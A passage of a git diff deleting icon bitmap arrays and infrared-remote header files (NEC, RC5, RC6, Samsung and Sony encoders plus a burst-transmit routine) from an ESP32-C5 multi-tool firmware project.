-0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x711A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x711A,0x7119,0x7119,0x7119,0x7119,0x7119,0x7119,0x7119,0x7119,0x793B,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x793C,0x2869,0x2048,0x2048,0x388D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x813D,0x40AF,0x40AE,0x40AE,0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0001,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0001,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x308C,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x48B1,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - -const uint16_t icon_folder[576] = { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x1825,0x1846,0x1846,0x1846,0x1846,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0001,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x2869,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x2047,0x0000,0x0000,0x0000,0x0000, -0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F5,0x0000,0x0000,0x0000,0x0000, -0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x1845,0x1024,0x1024,0x1024,0x1024,0x1024,0x1024,0x1024,0x1024,0x1024,0x1024,0x0823,0x0000,0x0000,0x0000,0x0000, -0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x40AF,0x388D,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0822,0x0000, -0x0000,0x286A,0x895F,0x895F,0x895F,0x895F,0x1024,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x2048,0x0000, -0x0000,0x286A,0x895F,0x895F,0x895F,0x68F7,0x306B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x0001,0x0000, -0x0000,0x286A,0x895F,0x895F,0x895F,0x408E,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x0000,0x0000, -0x0000,0x286A,0x895F,0x895F,0x895F,0x1825,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000, -0x0000,0x286A,0x895F,0x895F,0x793C,0x2047,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1024,0x0000,0x0000, -0x0000,0x286A,0x895F,0x895F,0x50D2,0x48B0,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x713B,0x0000,0x0000,0x0000, -0x0000,0x286A,0x895F,0x895F,0x2869,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48B1,0x0000,0x0000,0x0000, -0x0000,0x286A,0x895F,0x815E,0x1024,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x2048,0x0000,0x0000,0x0000, -0x0000,0x2048,0x895F,0x58D4,0x388D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x813D,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x1846,0x1025,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x308C,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0001,0x1845,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - - - -const uint16_t analyzer_main[576] = { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x408E,0x50D2,0x48B1,0x308C,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D3,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x286A,0x895E,0x895F,0x815E,0x58D4,0x40AF,0x48B0,0x68F7,0x895F,0x895F,0x793B,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x1846,0x895E,0x895F,0x58F5,0x0802,0x0000,0x286A,0x2047,0x0000,0x1846,0x713B,0x895F,0x711A,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x6918,0x895F,0x58F4,0x0000,0x0000,0x0000,0x895F,0x60F6,0x0000,0x0000,0x0802,0x793C,0x895F,0x40AF,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x1846,0x895F,0x815E,0x0802,0x1024,0x0823,0x0000,0x895F,0x60F6,0x0000,0x0000,0x0000,0x286A,0x895F,0x793C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x408E,0x895F,0x58D4,0x0000,0x813D,0x6919,0x0000,0x895F,0x60F6,0x0000,0x0000,0x0000,0x0000,0x815E,0x895F,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x50D2,0x895F,0x40AF,0x0000,0x813D,0x6919,0x0000,0x895F,0x60F6,0x0000,0x2048,0x1025,0x0000,0x7119,0x895F,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x48B1,0x895F,0x48B0,0x0000,0x813D,0x6919,0x0000,0x895F,0x60F6,0x0823,0x895F,0x50D3,0x0000,0x711A,0x895F,0x2047,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x308C,0x895F,0x68F7,0x0000,0x813D,0x6919,0x0000,0x895F,0x60F6,0x0823,0x895F,0x50D3,0x0802,0x895F,0x895F,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0823,0x895F,0x895F,0x1846,0x813D,0x6919,0x0000,0x895F,0x60F6,0x0823,0x895F,0x50D3,0x40AF,0x895F,0x6918,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x50D3,0x895F,0x713B,0x815E,0x6919,0x0000,0x895F,0x60F6,0x0823,0x895F,0x711A,0x895F,0x895F,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0802,0x793B,0x895F,0x895F,0x711A,0x0001,0x895F,0x60F6,0x1024,0x895F,0x895F,0x895F,0x895F,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x1024,0x711A,0x895F,0x895F,0x815E,0x895F,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x40AF,0x793C,0x895F,0x895F,0x895F,0x895F,0x6919,0x286A,0x60F6,0x895F,0x895F,0x895F,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x2048,0x2047,0x0823,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x60F6,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x60F6,0x0001,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x895F,0x40AF,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x895F,0x895F,0x308C,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x308C,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - - diff --git a/firmware_c5/components/Service/icons/include/icons.h b/firmware_c5/components/Service/icons/include/icons.h deleted file mode 100644 index d78de11e..00000000 --- a/firmware_c5/components/Service/icons/include/icons.h +++ /dev/null @@ -1,49 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef ICONS_H -#define ICONS_H - -#include - -// Ícones 24x24 em RGB565 (16-bit) -extern const uint16_t wifi_main[]; -extern const uint16_t blu_main[]; -extern const uint16_t nfc_main[]; -extern const uint16_t infra_main[]; -extern const uint16_t rf_main[]; -extern const uint16_t sd_main[]; -extern const uint16_t brilho[]; -extern const uint16_t bad[]; -extern const uint16_t Music[]; -extern const uint16_t inatividade[]; -extern const uint16_t conf_main[]; -extern const uint8_t octo_ant[]; -extern const uint8_t octo_ant1[]; -extern const uint16_t scan[]; -extern const uint16_t deauth[]; -extern const uint16_t evil[]; -extern const uint16_t learn[]; -extern const uint16_t controle[]; -extern const uint16_t raw[]; -extern const uint16_t UART[]; -extern const uint16_t icon_file[]; -extern const uint16_t icon_folder[]; -extern const uint16_t analyzer_main[]; - -#define ICON_WIDTH 24 -#define ICON_HEIGHT 24 - -#endif // ICONS_H diff --git a/firmware_c5/components/Service/ir/include/ir_burst.h b/firmware_c5/components/Service/ir/include/ir_burst.h deleted file mode 100644 index 9fc50c34..00000000 --- a/firmware_c5/components/Service/ir/include/ir_burst.h +++ /dev/null @@ -1,71 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef IR_BURST_H -#define IR_BURST_H - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Configuração de burst IR - */ -typedef struct { - uint32_t delay_between_files_ms; ///< Delay entre cada arquivo (ms) - uint32_t repeat_each_file; ///< Quantas vezes repetir cada arquivo - uint32_t delay_between_repeats_ms;///< Delay entre repetições do mesmo arquivo (ms) - bool stop_on_error; ///< Parar se houver erro (false = continuar) -} ir_burst_config_t; - -/** - * @brief Transmite todos os arquivos .ir encontrados no cartão SD - * - * @param config Configuração do burst (NULL = usa padrões) - * @return int Número de arquivos transmitidos com sucesso - */ -int ir_burst_send_all_files(const ir_burst_config_t *config); - -/** - * @brief Transmite lista específica de arquivos - * - * @param filenames Array de nomes de arquivos (sem extensão .ir) - * @param count Número de arquivos no array - * @param config Configuração do burst (NULL = usa padrões) - * @return int Número de arquivos transmitidos com sucesso - */ -int ir_burst_send_file_list(const char **filenames, uint32_t count, - const ir_burst_config_t *config); - -/** - * @brief Para transmissão em progresso (se estiver rodando em outra task) - */ -void ir_burst_stop(void); - -/** - * @brief Verifica se burst está em execução - * - * @return true se burst está ativo - */ -bool ir_burst_is_running(void); - -#ifdef __cplusplus -} -#endif - -#endif // IR_BURST_H diff --git a/firmware_c5/components/Service/ir/include/ir_common.h b/firmware_c5/components/Service/ir/include/ir_common.h deleted file mode 100644 index b27b1d28..00000000 --- a/firmware_c5/components/Service/ir/include/ir_common.h +++ /dev/null @@ -1,133 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef IR_COMMON_H -#define IR_COMMON_H - -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "freertos/queue.h" -#include "esp_log.h" -#include "driver/rmt_tx.h" -#include "driver/rmt_rx.h" -#include "ir_encoder.h" - -// Definições comuns -#define EXAMPLE_IR_RESOLUTION_HZ 1000000 // 1MHz resolution, 1 tick = 1us -#define EXAMPLE_IR_TX_GPIO_NUM 2 -#define EXAMPLE_IR_RX_GPIO_NUM 1 - -// Estrutura para dados compartilhados -typedef struct { - rmt_channel_handle_t tx_channel; - rmt_channel_handle_t rx_channel; - rmt_encoder_handle_t encoder; - QueueHandle_t receive_queue; -} ir_context_t; - -// ========== Funções TX ========== - -/** - * @brief Inicializa módulo de transmissão IR - */ -esp_err_t ir_tx_init(ir_context_t *ctx); - -/** - * @brief Finaliza módulo de transmissão IR - */ -esp_err_t ir_tx_deinit(ir_context_t *ctx); - -/** - * @brief Envia código NEC - */ -esp_err_t ir_tx_send_nec(ir_context_t *ctx, uint16_t address, uint16_t command); - -/** - * @brief Envia código RC6 - */ -esp_err_t ir_tx_send_rc6(ir_context_t *ctx, uint8_t address, uint8_t command, uint8_t toggle); - -/** - * @brief Envia código RC5 - */ -esp_err_t ir_tx_send_rc5(ir_context_t *ctx, uint8_t address, uint8_t command, uint8_t toggle); - -/** - * @brief Envia código Samsung (32-bit) - */ -esp_err_t ir_tx_send_samsung32(ir_context_t *ctx, uint32_t data); - -/** - * @brief Envia código Sony SIRC (12, 15 ou 20 bits) - */ -esp_err_t ir_tx_send_sony(ir_context_t *ctx, uint16_t address, uint8_t command, uint8_t bits); - -/** - * @brief Envia código IR a partir de arquivo - * - * @param filename Nome do arquivo (sem extensão .ir) - * @return true em sucesso - */ -bool ir_tx_send_from_file(const char* filename); - -/** - * @brief Reseta o estado do toggle bit do RC6 - */ -void ir_tx_reset_rc6_toggle(void); - -/** - * @brief Reseta o estado do toggle bit do RC5 - */ -void ir_tx_reset_rc5_toggle(void); - -// ========== Funções RX ========== - -/** - * @brief Inicializa módulo de recepção IR - */ -esp_err_t ir_rx_init(ir_context_t *ctx); - -/** - * @brief Inicia recepção de dados IR - */ -void ir_rx_start_receive(ir_context_t *ctx); - -/** - * @brief Aguarda dados recebidos - */ -bool ir_rx_wait_for_data(ir_context_t *ctx, rmt_rx_done_event_data_t *rx_data, uint32_t timeout_ms); - -/** - * @brief Recebe e salva sinal IR em arquivo - * - * @param filename Nome do arquivo (sem extensão) - * @param timeout_ms Timeout em milissegundos - * @return true em sucesso - */ -bool ir_receive(const char* filename, uint32_t timeout_ms); - -// ========== Parsers ========== - -/** - * @brief Parse de frame NEC - */ -void parse_nec_frame(rmt_symbol_word_t *symbols, size_t num_symbols, const char* filename); - -/** - * @brief Parse de frame RC6 - */ -void parse_rc6_frame(rmt_symbol_word_t *symbols, size_t num_symbols, const char* filename); - -#endif // IR_COMMON_H diff --git a/firmware_c5/components/Service/ir/include/ir_encoder.h b/firmware_c5/components/Service/ir/include/ir_encoder.h deleted file mode 100644 index b449a714..00000000 --- a/firmware_c5/components/Service/ir/include/ir_encoder.h +++ /dev/null @@ -1,133 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef IR_ENCODER_H -#define IR_ENCODER_H - -#include "driver/rmt_encoder.h" -#include "esp_err.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Protocolos IR suportados - */ -typedef enum { - IR_PROTOCOL_NEC, - IR_PROTOCOL_RC6, - IR_PROTOCOL_RC5, - IR_PROTOCOL_SAMSUNG32, - IR_PROTOCOL_SIRC, -} ir_protocol_t; - -/** - * @brief Configuração de encoder NEC - */ -typedef struct { - uint32_t resolution; ///< Resolução do encoder em Hz -} ir_nec_encoder_config_t; - -/** - * @brief Configuração de encoder RC6 - */ -typedef struct { - uint32_t resolution; ///< Resolução do encoder em Hz -} ir_rc6_encoder_config_t; - -/** - * @brief Configuração de encoder RC5 - */ -typedef struct { - uint32_t resolution; ///< Resolução do encoder em Hz -} ir_rc5_encoder_config_t; - -/** - * @brief Configuração de encoder Samsung32 - */ -typedef struct { - uint32_t resolution; ///< Resolução do encoder em Hz -} ir_samsung32_encoder_config_t; - -/** - * @brief Configuração de encoder Sony SIRC - */ -typedef struct { - uint32_t resolution; ///< Resolução do encoder em Hz -} ir_sony_encoder_config_t; - -/** - * @brief Estrutura unificada de configuração de encoder - */ -typedef struct { - ir_protocol_t protocol; ///< Protocolo a ser usado - union { - ir_nec_encoder_config_t nec; - ir_rc6_encoder_config_t rc6; - ir_rc5_encoder_config_t rc5; - ir_samsung32_encoder_config_t samsung32; - ir_sony_encoder_config_t sony; - } config; -} ir_encoder_config_t; - -/** - * @brief Cria um novo encoder IR baseado no protocolo especificado - * - * @param cfg Configuração do encoder - * @param ret_encoder Ponteiro para retornar o handle do encoder - * @return esp_err_t ESP_OK em sucesso - */ -esp_err_t rmt_new_ir_encoder(const ir_encoder_config_t *cfg, - rmt_encoder_handle_t *ret_encoder); - -/** - * @brief Converte protocolo para string - * - * @param protocol Protocolo - * @return const char* Nome do protocolo - */ -const char* ir_protocol_to_string(ir_protocol_t protocol); - -/** - * @brief Converte string para protocolo - * - * @param protocol_str String do protocolo - * @return ir_protocol_t Protocolo correspondente - */ -ir_protocol_t ir_string_to_protocol(const char* protocol_str); - -// Declarações das funções de criação de encoders -esp_err_t rmt_new_ir_nec_encoder(const ir_nec_encoder_config_t *config, - rmt_encoder_handle_t *ret_encoder); - -esp_err_t rmt_new_ir_rc6_encoder(const ir_rc6_encoder_config_t *config, - rmt_encoder_handle_t *ret_encoder); - -esp_err_t rmt_new_ir_rc5_encoder(const ir_rc5_encoder_config_t *config, - rmt_encoder_handle_t *ret_encoder); - -esp_err_t rmt_new_ir_samsung32_encoder(const ir_samsung32_encoder_config_t *config, - rmt_encoder_handle_t *ret_encoder); - -esp_err_t rmt_new_ir_sony_encoder(const ir_sony_encoder_config_t *config, - rmt_encoder_handle_t *ret_encoder); - -#ifdef __cplusplus -} -#endif - -#endif // IR_ENCODER_H diff --git a/firmware_c5/components/Service/ir/include/ir_rc5.h b/firmware_c5/components/Service/ir/include/ir_rc5.h deleted file mode 100644 index 780055d9..00000000 --- a/firmware_c5/components/Service/ir/include/ir_rc5.h +++ /dev/null @@ -1,109 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef IR_RC5_H -#define IR_RC5_H - -#include -#include -#include "driver/gpio.h" -#include "driver/ledc.h" - -// RC5 Protocol Constants -#define RC5_UNIT 889 // Base unit in microseconds (32 periods of 36kHz) -#define RC5_BITS 13 // Total bits (2 start + 1 toggle + 5 address + 6 command) -#define RC5_CARRIER_FREQ 36000 // 36 kHz carrier frequency -#define RC5_DUTY_CYCLE 33 // 33% duty cycle - -// Configuration structure -typedef struct { - gpio_num_t gpio_num; - ledc_channel_t ledc_channel; - ledc_timer_t ledc_timer; -} ir_rc5_config_t; - -/** - * @brief Initialize RC5 IR transmitter - * - * @param config Configuration structure with GPIO and LEDC settings - * @return ESP_OK on success - */ -esp_err_t ir_rc5_init(const ir_rc5_config_t *config); - -/** - * @brief Send RC5 command - * - * @param address 5-bit address (0-31) - * @param command 6-bit command (0-63) - * @param toggle Toggle bit value (0 or 1) - * @return ESP_OK on success - */ -esp_err_t ir_rc5_send(uint8_t address, uint8_t command, bool toggle); - -/** - * @brief Send extended RC5 command (7-bit command) - * - * @param address 5-bit address (0-31) - * @param command 7-bit command (0-127) - * @param toggle Toggle bit value (0 or 1) - * @return ESP_OK on success - */ -esp_err_t ir_rc5_send_extended(uint8_t address, uint8_t command, bool toggle); - -/** - * @brief Send RC5 command with automatic toggle - * - * @param address 5-bit address (0-31) - * @param command 6-bit command (0-63) - * @return ESP_OK on success - */ -esp_err_t ir_rc5_send_auto_toggle(uint8_t address, uint8_t command); - -/** - * @brief Send extended RC5 command with automatic toggle - * - * @param address 5-bit address (0-31) - * @param command 7-bit command (0-127) - * @return ESP_OK on success - */ -esp_err_t ir_rc5_send_extended_auto_toggle(uint8_t address, uint8_t command); - -/** - * @brief Send RC5 command with automatic detection of standard/extended format - * - * Automatically uses standard RC5 for commands 0-63 or extended RC5 for commands 64-127 - * - * @param address 5-bit address (0-31) - * @param command 7-bit command (0-127) - * @param toggle Toggle bit value (0 or 1) - * @return ESP_OK on success - */ -esp_err_t ir_rc5_send_auto(uint8_t address, uint8_t command, bool toggle); - -/** - * @brief Send RC5 command with automatic format detection and auto-toggle - * - * @param address 5-bit address (0-31) - * @param command 7-bit command (0-127) - * @return ESP_OK on success - */ -esp_err_t ir_rc5_send_smart(uint8_t address, uint8_t command); - -/** - * @brief Reset toggle bit to 0 - */ -void ir_rc5_reset_toggle(void); - -#endif // IR_RC5_H diff --git a/firmware_c5/components/Service/ir/include/ir_rc6.h b/firmware_c5/components/Service/ir/include/ir_rc6.h deleted file mode 100644 index b78b21b5..00000000 --- a/firmware_c5/components/Service/ir/include/ir_rc6.h +++ /dev/null @@ -1,74 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef IR_RC6_H -#define IR_RC6_H - -#include -#include -#include "driver/gpio.h" -#include "driver/ledc.h" - -// RC6 Protocol Constants -#define RC6_UNIT 444 // Base unit in microseconds (16 periods of 36kHz) -#define RC6_HEADER_MARK (6 * RC6_UNIT) // 2664 us -#define RC6_HEADER_SPACE (2 * RC6_UNIT) // 888 us - -#define RC6_BITS 21 // Total bits (excluding start bit) -#define RC6_TOGGLE_BIT_POS 3 // Position of toggle bit (after 3 mode bits) - -#define RC6_CARRIER_FREQ 36000 // 36 kHz carrier frequency -#define RC6_DUTY_CYCLE 33 // 33% duty cycle - -// Configuration structure -typedef struct { - gpio_num_t gpio_num; - ledc_channel_t ledc_channel; - ledc_timer_t ledc_timer; -} ir_rc6_config_t; - -/** - * @brief Initialize RC6 IR transmitter - * - * @param config Configuration structure with 